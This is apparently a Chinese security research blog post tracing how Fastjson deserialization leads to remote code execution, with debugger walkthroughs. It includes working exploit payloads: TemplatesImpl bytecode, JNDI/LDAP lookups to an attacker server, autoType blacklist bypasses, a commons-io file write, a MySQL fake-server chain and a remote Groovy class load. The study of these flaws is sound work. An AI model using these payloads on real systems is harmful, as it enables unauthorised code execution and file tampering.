0


Javaweb安全——Fastjson反序列化利用

Fastjson前置知识

image-20220928235104099

反序列化函数

Object obj =JSON.parse();//解析为JSONObject类型或者JSONArray类型Object obj =JSON.parseObject("{...}");//JSON文本解析成JSONObject类型Object obj =JSON.parseObject("{...}",Object.class);//JSON文本解析成Object.class类,即指定类型

JSON.parseObject 的底层调用的还是 JSON.parse 方法,只是在 JSON.parse 的基础上做了一个封装。

image-20221008002441556

@type

  • @type字段名,用来表明指定反序列化的目标对象类型

在JSON序列化时开启 SerializerFeature.WriteClassName 选项,序列化出来的结果会在开头加一个 @type 字段,值为进行序列化的类名。

反序列化时带有@type 字段的序列化数据会得到对应类型的实例化对象。

FastJson与原生反序列化的差异

FastJson反序列化并不是通过

ObjectInputStream.readObject()

还原对象(原生反序列化中通过递归调用readObject0去还原属性对象,且在这之前会调用类重写的readObject方法),而是在反序列化的过程中自动调用类属性的

setter/getter

方法,将JSON字符串还原成对象。

对于反序列化漏洞来说,其实就是当跳板的魔术方法不一样了。

漏洞原理

Fastjson 1.2.22-1.2.24

漏洞的

根本原因

还是Fastjson的

autotype

功能,此功能可以反序列化的时候人为指定类,然后在利用指定的反序列化器过程中,如果满足条件则会去反射调用

setter || getter

方法,以串联某些利用链达成RCE。

autotype再处理json的时候,没有对@type进行安全验证,就可以传入危险的类,远程连接rmi主机,反弹shell之类的操作。

TemplatesImpl利用链

这个利用链需要开启JSON.parseObject的

Feature.SupportNonPublicField

选项以支持反序列化使用非public修饰符保护的属性,因为TemplatesImpl里的属性都是私有的。

packageFastjsonDemo;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.parser.ParserConfig;publicclass demo {publicstaticvoidmain(String[] args)throwsException{String text ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQALTERlbW8kdGVzdDsBAApTb3VyY2VGaWxlAQAJRGVtby5qYXZhDAAEAAUHABMBAAlEZW1vJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAERGVtbwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFW5pY2UwZTM1OTY1NzU3NTI5NjkwMAEAF0xuaWNlMGUzNTk2NTc1NzUyOTY5MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAACwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";Object obj =JSON.parseObject(text,Object.class,Feature.SupportNonPublicField);}}

JSON.parseObject

下断点开始调试,

com.alibaba.fastjson.JSON#parseObject

调用了自身的另外一个重载方法。

然后实例化一个

DefaultJSONParser

类,主要就是根据当前的字符({开头或者是[开头)来赋值,这里是是{开头,把

lexer.token

赋为12。

lexer是词法解析器,这里为JSONScanner

image-20220926103638874

image-20220926105358320

最后调用

DefaultJSONParser

类的

parseObject

方法

image-20220926103922295

先对lexer的token进行判断,然后进入对应处理,若都不满足则直接来到

config.getDeserializer(type)

获取了一个ObjectDeserializer对象。

image-20220926110635675

然后去调用

JavaObjectDeserializer

对象的

derialize

方法,不满足前两个if条件直接进入

DefaultJSONParser

类的

parse

方法

image-20220926205535477

DefaultJSONParser#parse

对token进行判断进入对应逻辑

image-20220926205837398

跟进这个

parseObject

方法,如果key等于@type,则获取lexer中@type键的值给到typeName,也就是获取反序列化的目标对象类型。然后调用

TypeUtils.loadClass

方法,反射获取对应类名的类对象。

image-20220926210848054

这个loadClass里做的事情:

会在现有的mappings(缓存)中寻找从

@type

传入的classname,如果没有找到,则调用contextClassLoader.loadClass获取AppClassLoader类加载器,并加载到mappings中与

@type

传入的类进行关联,最后返回clazz对象。

接着到

config.getDeserializer

这里,

image-20220927155639698

里面会去判断是不是是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口,是的话直接调用对应的deserializer反序列化器。若都不匹配则通过

ParserConfig#createJavaBeanDeserializer

方法去新建一个对应的反序列化器

image-20220927155939154

跟进这个方法里面又是一堆if判断,

image-20220927172100388

这个

boolean asmEnable

,是的话就会调用

asmFactory.createJavaBeanDeserializer

解析器(使用ASM生成的反序列化器具有较高的反序列化性能,但不方便调试具体过程),使用asm的条件如下,就是那堆if所判断的条件

  • 非Android系统
  • 该类及其除Object之外的所有父类为是public的
  • 泛型参数非空
  • 非asmFactory加载器之外的加载器加载的类
  • 非接口类
  • 类的setter函数不大于200
  • 类有默认构造函数
  • 类不能含有仅有getter的filed
  • 类不能含有非public的field
  • 类不能含有非静态的成员类
  • 类本身不是非静态的成员类

接着看这个

JavaBeanInfo.build

方法,里面依次遍历获取set方法、类公共属性、get方法。image-20220927185349025

遍历所有的method,如果 name小于4 || 静态方法 || 返回值不是Void || 不是set前缀,就会跳过这个method。要是都满足set的条件,接着就会做一些转小写,从缓存中查找的操作,这里就不贴代码图了。

image-20220927185110073

直接看到最后的

add(fieldList

,将符合条件的method添加到fieldList中。

image-20220927190956360

这里所调用的FieldInfo类的构造方法如下,前面就是对method啥的属性赋值

image-20220927200010651

主要关注getOnly这个属性(影响后面执行method的逻辑),要进入这个

getOnly = true

的分支就得满足方法的参数类型不等于一,那么在setter方法中显然是无法满足的。

image-20220927200410205

跳出这个循环直接看第二轮遍历method获取get方法,同样的也是一堆判断

  • 判断方法名长度是否大于4,不大于4则跳过
  • 静态方法跳过
  • 方法名是否get前缀,并且第四个字符为大写,不符合则跳过
  • 方法有参数跳过
  • 方法返回值不是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或其子孙类则跳过

image-20220927203217653

根据注解取字段名称,若没有注解则根据方法名从第四个字符开始确定字段field名称,根据字段名获取集合中是否已有FieldInfo,有则跳过。也就是set那获取到了就不重复添加方法了,毕竟反序列化主要是设置值。

image-20220927210837948

最后也是将满足条件的method添加到fieldList集合,最后将fieldList丢到一个新的JavaBeanInfo对象中返回。

image-20220928173623647

outputProperties

由于形参类型数量为0,这时候的添加FieldInfo就满足

getOnly = true

的条件了,

image-20220927205813676

最后返回了一个JavaBeanInfo对象

image-20220927210604440

回到

fastjson.parser.ParserConfig#createJavaBeanDeserializer

,接着从beaninfo中取出defaultConstructor默认构造器、field属性,反正就是去判断是不是满足前面列出来的ASM使用条件,为asmEnable标志位赋值。

image-20220928001042584

因为前面get那遍历method的时候使得getOnly为true 所以这里asmEnable就是true了。

根据asmEnable标志位,进行if条件判断,这边显然是不满足的,于是new一个

JavaBeanDeserializer

反序列化器

image-20220928001547086

再build一下,传入这个类重载的构造函数处理

image-20220928001746938

beanInfo.sortedFields

进行了遍历,把结果给了

sortedFieldDeserializers[]

,给每个属性配置了反序列化器

image-20220928002449444

回到

DefaultJSONParser#parseObject

方法,上面那么多步骤最后返回了一个类反序列化器,上面获取的所有FieldInfo处理逻辑都在

JavaBeanDeserializer.deserialze

image-20220927212337602

此时的调用栈如下:

image-20220928083130230

根据当前token的值,也就是json串的闭合符号来确定具体的操作

image-20220928003106665

image-20220928101624296

如果是

}

,那就跳转到下一个逗号,调用类的构造方法返回实例化对象。如果是

[

那就丢入deserialzeArrayMapping做数组处理,然后还有几个if判断,要是都没匹配上,那就进入下面fieldIndex处理逻辑。

前面就是把之前存入反序列化器的属性,方法啥的取出来

image-20220928140419404

然后又是根据fieldlClass类型去判断,如果匹配到了就设置

boolean matchField = true

,这里显然是都不满足的。

image-20220928141502684

直接到这一步,跟进

JavaBeanDeserializer#parseField 

方法

image-20220928141832548

也是通过循环遍历获取对应field的反序列化器

image-20220928143352300

然后进入

setValue

去反射调用FiledMethod,将值设置进去

image-20220928143515567

setValue方法中也有很多if判断,会利用到FieldInfo前面构建时,收集到的信息,例如method、getOnly等,进行判断是否调用某些方法。

前面几次循环就是正常的setter设置类属性。

直接跳过这个循环到调用

outputProperties

这个FiledMethod。对于method不为空的fieldInfo,若

getOnly == false

,则直接反射执行method。

image-20220928144947393

getOnly == true

,也就是只存在对应字段field的getter,而不存在setter,则会对其method的返回类型进行判断,若符合,才会进行反射执行该method。

如果method的返回值类型是map的子孙类则反射执行method,那其实到这就结束了

image-20220928144718956

到这里的调用栈如下:

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:11, demo (FastjsonDemo)

后面就TemplatesImpl的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

image-20220928151257142

image-20220928145200735

刚好是满足这里的

Map.class.isAssignableFrom(method.getReturnType())

条件。

base64编码

可以看到和原来不同的一点在于,POC中的

_bytecodes

属性里的恶意字节码是base64编码后的字符串。

调试可见,在

DefaultFieldDeserializer#parseField

方法set _bytecodes的值的时候,对应的反序列化器

ObjectArrayCodec

会去调用

JSONScanner#bytesValue

方法,做一次base64解码

image-20220928181059537

image-20220928181323157

image-20220928181340620

JdbcRowSetImpl利用链(JNDI)

jndi注入通用性较强,但是需要在目标出网的情况下才能使用

这里为了方便调试还是用原来的demo,没有在tomcat环境下测试,所以直接设置jdk为8u111以方便调试,直接用工具起一个恶意ldap服务。

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.133

image-20220928192722246

publicclass demo {publicstaticvoidmain(String[] args)throwsException{StringPayload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.106.133:1389/Basic/Command/calc\",\"autoCommit\":true}";Object obj =JSON.parseObject(Payload,Object.class);}}

前面的解析过程和TemplatesImpl链没啥区别,直接到

FieldDeserializer.setValue

开始调试。

这条链子调用的是setter方法,自然也无法使得getOnly为true,直接进入下面的method.invoke

image-20220928204430721

这里调用的是

JdbcRowSetImpl#setAutoCommit

方法,用来设置autoCommit属性的值,传值是一个boolean。所以POC那设置autoCommit属性值给个布尔值即可。

image-20220928205332211

跟进这个

JdbcRowSetImpl#connect

方法,就是一个很明显的jndi注入的点。这里预期的话是用来绑定sql数据库地址的嘛,我们传进去json进行反序列化时候

dataSourceName

属性设置个恶意ldap或者rmi地址即可。

image-20220928205530964

调用链如下

c_lookup:1092, LdapCtx (com.sun.jndi.ldap)

p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)

lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)

lookup:417, InitialContext (javax.naming)

connect:624, JdbcRowSetImpl (com.sun.rowset)

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)

deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)

deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)

parseObject:339, JSON (com.alibaba.fastjson)

parseObject:243, JSON (com.alibaba.fastjson)

parseObject:456, JSON (com.alibaba.fastjson)

高版本绕过

在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。当autoTypeSupport为False(默认)时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

checkAutoType安全机制

该机制自1.2.25版本引入,使用之前的poc试一下,显示类型不支持。

image-20221008000122885

跟入

com.alibaba.fastjson.parser.DefaultJSONParser

可见原先的

TypeUtils.loadClass

方法变成了

config.checkAutoType

方法

image-20221008212837931

checkAutoType 一般有以下几种情况会通过校验:

  1. 白名单里的类
  2. 开启了 autotype
  3. 使用了 JSONType 注解
  4. 指定了期望类(expectClass)
  5. 缓存 mapping 中的类

提到这个机制又不得不提到autoTypeSupport选项(默认False)

  • False- 黑名单 -> 白名单,若白名单匹配上则直接加载该类,否则报错。

1.2.25版本的黑名单如下,显然是不能通过检查的

image-20221008213421159

  • True- 白名单,匹配成功即可加载该类,否则再黑名单过滤。- 最后若是都没有匹配到,且开启了AutoTypeSupport或者有expectClass参数,则调用TypeUtils.loadClass方法加载该类

image-20221008214201831

image-20221008215949618

类名解析bypass(<= 1.2.45)

需开启AutoTypeSupport

1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

早期版本

TypeUtils.loadClass

函数的实现代码中对于类名解析有一些特殊处理,loadClass会将”L”与”;”去除后组成newClassName并返回。

image-20221008215224340

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist

且在

checkAutoType

函数多了一次替换,双写即可。

image-20221008221824162

1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常。

image-20221008222421241

开头为[也有类似操作,换一个就行。后面几个符号是为了满足json解析格式。

1.2.45开始checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常。可使用mybatis依赖绕过,原理类似JdbcRowSetImpl。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.106.131:1389/Basic/Command/calc"}}

mappings缓存绕过

<= 1.2.47

image-20221009005448842

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":"true"}}
TypeUtils.loadClass

方法会在类加载之后将类放入缓存

image-20221008235720093

而且fastjson为了速度有一些从缓存中取出类对象的操作

image-20221008233917297

image-20221008235435221

所以这个payload分成两部分来看,第一部分可以通过

checkAutoType

方法检查。

image-20221011001205232

进入后面的

deserializer.deserialze

,这里实际上调用的是

MiscCodec#deserialze

image-20221010235423843

parser.parse()获取val的值,也就是

com.sun.rowset.JdbcRowSetImpl

image-20221010235535433

image-20221011003239383

赋值给strVal,最后由TypeUtils.loadClass加载,添加进mappings。

image-20221009002753886

image-20221009002837022

但Mappings是ConcurrentMap类型的,仅在在当前连接会话生效。所以需要在一次连接会话同时传入两个json键值对。

第二部分再去过

checkAutoType

方法检查时就可以从缓存取出类对象从而绕过了。

image-20221009003020383

image-20221008235406657

1.2.48开始在loadClass时,将缓存开关默认设置为False,同时将Class类加入黑名单。

expectClass期望类绕过

期望类可以由类间关系隐式确定,也可以由两个

@type

显式指定。

classUser{Foo id;}classFooImplimplementsFoo{String fooId;}
  • 由类间关系确定
{"@type":"User","id":{"@type":"FooImpl","fooId":"abc"},}
  • 由JSON显式指定
{"@type":"Foo","@type":"FooImpl","fooId":"abc"}

1.2.68

image-20221009005513177

回顾一下fastjson反序列化的过程,

DefaultJSONParser#parseObject

会去获取对应的类加载器对象。

image-20221009191155140

调用的方法为

ParserConfig.getDeserializer

,会根据对象类型去获取对应的反序列化器对象,都不符合的话就调用

createJavaBeanDeserializer

方法来构造 JavaBeanDeserializer。

image-20221009191336746

全局搜索传参expectClass的checkAutoType方法,分别位于:

  • JavaBeanDeserializer
  • ThrowableDeserializer

也就是上面图片里红色框起来的两个位置对应的deserializer。

AutoCloseable

写一个恶意子类以代替具体利用链,了解期望类的绕过过程。

这里因为

JavaBeanDeserializer

set设置属性得过程前面已经调试过了,偷个懒就没写setter方法去设置属性,别被误导。

packageFastjsonDemo;importjava.io.IOException;publicclassEvilAutoCloseableimplementsAutoCloseable{publicEvilAutoCloseable(){try{Runtime.getRuntime().exec("calc");}catch(IOException e){
            e.printStackTrace();}}publicvoidclose()throwsException{}}
{"@type":"java.lang.AutoCloseable","@type":"FastjsonDemo.EvilAutoCloseable"}

从头开始调试,从

DefaultJSONParser#parseObject

进入第一次的

checkAutoType

方法。

image-20221009203930965

这里相当于期望类的黑名单,包括了大部分常用的父接口和父类,但没有

java.lang.AutoCloseable

image-20221009193948498

之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配。

之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。

image-20221009202703669

TypeUtils#mappings

里有 AutoCloseable 类

image-20221009203400409

上面其实就是为了返回一个clazz,以获取对应的反序列化器。

然后回到

DefaultJSONParser#parseObject

方法,接着上面的处理逻辑,获取到的deserializer为JavaBeanDeserializer。

并将clazz(

interface java.lang.AutoCloseable

)作为type参数传入,

image-20221009192903546

现在走到了

JavaBeanDeserializer#deserialze

方法。这里还有一个checkAutoType,当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,也是在这传入的expectClass参数。

expectClass由

TypeUtils.getClass(type)

根据type即传入的clazz获取到。

image-20221009210017338

同样的期望类黑名单过滤,然后从deserializers、typeMapping那堆东西里找。这里显然是找不到的嘛

image-20221009210853152

最后如果

expectClassFlag

为true的话,使用

TypeUtils.loadClass

进行类加载。

image-20221009211604846

然后再给这个类添加到缓存中,并返回

JavaBeanDeserializer#deserialze

的userType参数

image-20221009013155849

同样的获取对应的反序列化器去deserialze

image-20221009212344002

按照demo里的写的恶意类这里其实就弹计算器了,但实际不可能直接有个类构造方法写了命令执行的语句,真正触发的地方还是在set属性那。

为了找到合适的

java.lang.AutoCloseable

派生类,需要满足非黑名单类、非继承自 ClassLoader、DataSource、RowSet 的类,这个判断在将期望类return之前,会直接抛出异常。这里说白了就是看看在期望类是怎么绕过的。

image-20221009213425582

看真实利用链之前,先了解一下这个接口是干嘛的。

https://www.jianshu.com/p/3a1e774d8625

从AutoCloseable的注释可知它的出现是为了更好的管理资源,准确说是资源的释放,当一个资源类实现了该接口close方法,在使用try-catch-resources语法创建的资源抛出异常后,JVM会自动调用close 方法进行资源释放,当没有抛出异常正常退出try-block时候也会调用close方法。像数据库链接类Connection,io类InputStream或OutputStream都直接或者间接实现了该接口。

commons-io

浅蓝师傅在《fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路》中给出的寻找思路为:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法

具体分析看这篇文章吧,个人确实没有精力去再跟一遍,就简单记录下payload复现一下,

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析

commons-io 2.0 - 2.6

{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa...(写入的恶意内容,长度要大于8192,实际写入前8192个字符)"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/tmp/pwned","encoding":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}}

commons-io 2.7.0 - 2.8.0

{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)","start":0,"end":2147483647},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/tmp/pwned","charsetName":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}
Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

{
    "aaa": {
        "@type": "u006au0061u0076u0061.lang.AutoCloseable",
        "@type": "u0063u006fu006d.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "192.168.33.128",
        "portToConnectTo": 3306,
        "url": "jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=",
        "databaseToConnectTo": "test",
        "info": {
            "@type": "u006au0061u0076u0061.util.Properties",
            "PORT": "3306",
            "statementInterceptors": "u0063u006fu006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
            "autoDeserialize": "true",
            "user": "cb",
            "PORT.1": "3306",
            "HOST.1": "172.20.64.40",
            "NUM_HOSTS": "1",
            "HOST": "172.20.64.40",
            "DBNAME": "test"
        }
    }
}

修复:

1.2.68后将

java.lang.Runnable

java.lang.Readable

java.lang.AutoCloseable

加入了黑名单。

Throwable

这个期望类使用的反序列化器为

ThrowableDeserializer

,写个demoException类来调试流程。

packageFastjsonDemo;importjava.io.IOException;publicclassEvilExceptionextendsException{privateString cmd;publicEvilException(){super();}publicStringgetDomain(){return cmd;}publicvoidsetDomain(String cmd){this.cmd = cmd;}@OverridepublicStringgetMessage(){try{Runtime.getRuntime().exec(cmd);}catch(IOException e){return e.getMessage();}returnsuper.getMessage();}}
{"@type":"java.lang.Exception","@type":"FastjsonDemo.EvilException","cmd":"calc"}

基本相同,只是返回的反序列化器是

ThrowableDeserializer

image-20221009233702381

如果key为@type的话,获取@type的值,作为类名传入,期望类为

Throwable.class

image-20221009234238548

把 message 和 cause 传给了

ThrowableDeserializer#createException

处理。

image-20221009234824132

开始实例化异常类,依次查找对应参数的构造方法,找到就直接返回。

image-20221009235158576

image-20221009235225747

实例化后返回ThrowableDeserializer,然后就是为实例化后的异常类设置属性。

image-20221010233617476

1.2.80

image-20221009005533873

Throwable

groovy

测试类:

packageFastjsonDemo;importcom.alibaba.fastjson.JSON;publicclass groovy {privatestaticString poc1 ="{\n"+"    \"@type\":\"java.lang.Exception\",\n"+"    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n"+"    \"unit\":{}\n"+"}";privatestaticString poc2 ="{\n"+"    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n"+"    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n"+"    \"config\":{\n"+"        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n"+"        \"classpathList\":\"http://127.0.0.1:8090/\"\n"+"    }\n"+"}";publicstaticvoidmain(String[] args){try{JSON.parseObject(poc1);}catch(Exception e){}JSON.parseObject(poc2);}}

Evil类

importjava.io.IOException;importorg.codehaus.groovy.ast.ASTNode;importorg.codehaus.groovy.control.SourceUnit;importorg.codehaus.groovy.transform.ASTTransformation;importorg.codehaus.groovy.transform.GroovyASTTransformation;@GroovyASTTransformationpublicclassEvilimplementsASTTransformation{publicvoidvisit(ASTNode[] astNodes,SourceUnit sourceUnit){}static{try{Runtime.getRuntime().exec("calc");}catch(IOException var1){thrownewRuntimeException(var1);}}}

image-20221012004105457

文件

META-INF/services/org.codehaus.groovy.transform.ASTTransformation

添加内容 Evil

然后在这个目录起一个http服务即可。

image-20221012001111898

payload1:

{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}

payload2:

{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:8090/"}}

第一个payload,先使用1.2.68的绕过方式利用期望类加载类,在创建对应field反序列化器设置该类的unit属性(ProcessingUnit类型)时,如果value不是fieldClass类型的会进入

com.alibaba.fastjson.util.TypeUtils#cast

image-20221013001718819

经过判断再到

com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)

函数,根据传入对象的具体类型来进行对应的类型转换操作。

image-20221013000149848

image-20221013000650632

然后到了

com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)

image-20221013000747715

调用自身putDeserializer函数,然后把

org.codehaus.groovy.control.ProcessingUnit

对应的deserializer,设置进IdentityHashMap的

Entry<K, V>[] buckets

属性

image-20221013001953960

所以也会把

org.codehaus.groovy.control.ProcessingUnit

加入反序列化缓存。

第二个payload

org.codehaus.groovy.control.ProcessingUnit

由于缓存的得以顺利加载。

image-20221012200445697

image-20221012200428883

由于

org.codehaus.groovy.tools.javac.JavaStubCompilationUnit

org.codehaus.groovy.control.ProcessingUnit

的子类,所以也能利用期望类绕过checkAutoType成功反序列化。

image-20221012210645973

image-20221012214318152

这个类对应的反序列化器为默认的

JavaBeanDeserializer

,进入其deserialze方法,先调用属性的反序列化器去setter

image-20221012221627073

然后调用构造方法进行实例化。

image-20221012213211258

image-20221012213314800

image-20221012213623525

调用链如下图:

image-20221012001144860

image-20221012001234995

这里不把两个payload写一块是因为第一个payload会抛出一个错误,终止后面的解析。

image-20221013004631504

jdbc

依赖jython+postgresql+spring-context

image-20221013002648471

